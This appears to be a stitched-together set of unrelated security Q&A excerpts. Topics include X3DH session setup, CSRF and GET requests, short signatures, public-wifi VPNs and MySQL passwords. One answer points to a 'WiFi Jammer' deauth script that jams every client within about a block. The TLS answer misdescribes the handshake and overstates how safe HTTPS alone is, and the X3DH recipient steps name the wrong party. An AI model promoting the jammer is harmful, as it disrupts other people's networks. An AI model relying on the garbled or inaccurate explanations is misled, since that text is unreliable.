ECDH(Iinitiator, Srecipient) || ECDH(Einitiator, Irecipient) ||
ECDH(Einitiator, Srecipient) || ECDH(Einitiator, Orecipient).
If there is no One Time Pre Key, the final ECDH is omitted.
The initiator uses HKDF to create a Root Key and Chain Keys
from the master_secret.

Receiving Session Setup

After building a long-running encryption session, the initiator can immediately
start sending messages to the recipient, even if the recipient is offline.
Until the recipient responds, the initiator includes the information (in the
header of all messages sent) that the recipient requires to build a corresponding
session. This includes the initiator’s Einitiator and Iinitiator.

When the recipient receives a message that includes session setup
information:

The recipient calculates the corresponding master_secret using
its own private keys and the public keys advertised in the header of
the incoming message.
The recipient deletes the One-Time Pre Key used by the initiator.
The initiator uses HKDF to derive a corresponding Root Key and
Chain Keys from the master_secret.


Should I prevent sending of GET requests for urls that are normally operated with POST request?

If the transaction has any side effects, yes, you should set up your web server so it does not process those GET requests.  You should not allow any GET request to cause side effects on your server.

I can't point to any particular attack that will necessarily cause problems for you, but there are subtle vulnerabilities if you allow processing of a GET request to cause side effects, so if you allow GET requests to have side effects, you're starting to edge into "there be dragons" territory.  For instance, I know of one subtle attack on sites that use the Referer header to defend against CSRF attacks, and that allow GET requests to have side effects.  Browsers haven't deployed fixes to stop that attack because the reaction is "duh, GET requests aren't supposed to have side effects, so it's the web site's own fault".  So rather than enter potentially dangerous territory, I suggest you set up your web server so it only processes those requests via POST, not via GET.


BLS is the traditional scheme for your situation. This paper gives two potential alternatives, "Very Short Weakly Secure Signatures" and "Concrete Short Hash-Signature Scheme with Random Oracles". However, this paper gives an attack on the former alternative for most groups

which becomes significantly faster than solving discrete log to get the private key

when a significant number of signatures are available.


A rather quick Google search for "python wifi deauth" reveals several results for your question.

WiFi Jammer seems to do the job:

  Continuously jam all wifi clients and access points within range. The
  effectiveness of this script is constrained by your wireless card.
  Alfa cards seem to effectively jam within about a block radius with
  heavy access point saturation. Granularity is given in the options for
  more effective targeting.

More infomration can be found at: https://github.com/DanMcInerney/wifijammer


Is VPN for notebook in public Wifi/WLAN still recommended?

Short answer: it depends.

Long Answer: HTTPS is secure over public hotspots. Only a public key and encrypted messages are transmitted (and these too are signed by root certificates) during the setup of TLS, the security layer used by HTTPS. The client uses the public key to encrypt a master secret, which the server then decrypts with its private key. All data is encrypted with a function that uses the master secret and pseudo-random numbers generated by each side.

Thus,

the data is secure because it is signed by the master secret and pseudo-random numbers
the master secret and pseudo-random numbers are secure because it uses public-private key encryption when the TLS handshake occurs
the public-private key encryption is secure because:

the private keys are kept secret
public-private key encryption is designed to be useless without the private key
the public keys are known to be legitimate because they are signed by root certificates, which either
came with your computer
or were specifically authorized by you (pay attention to browser warnings!)

Thus, your HTTPS connections and data are safe as long as:

you trust the certificates that come with your computer,
you take care to only authorize certificates that you trust,
you make sure the website has valid and active SSL.

Conclusion: You don't require VPN as long as website is using HTTPS over public network.


How important is a mysql password for localhost?

A few reasons come to mind:

Firstly, just because a compromised hosting account can read the credentials of one MySQL user doesn't mean they can read another. Imagine you're on a shared host and one of your co-tenants is compromised, you wouldn't want them brute forcing your password.

Secondly, you might use a number of different users with different permissions within your own systems. For example, one user may be read-only which is used for a publicly accessible site, whereas your admin console uses a user with write access. This would possibly prevent privilege escalation for accounts stored within the database if the publicly accessible system gets compromised - assuming they can't brute force your other MySQL password.

Finally, it's not that uncommon to make MySQL accessible externally so tools like MySQL workbench can be used to manage and query it. In this case you obviously want a strong password.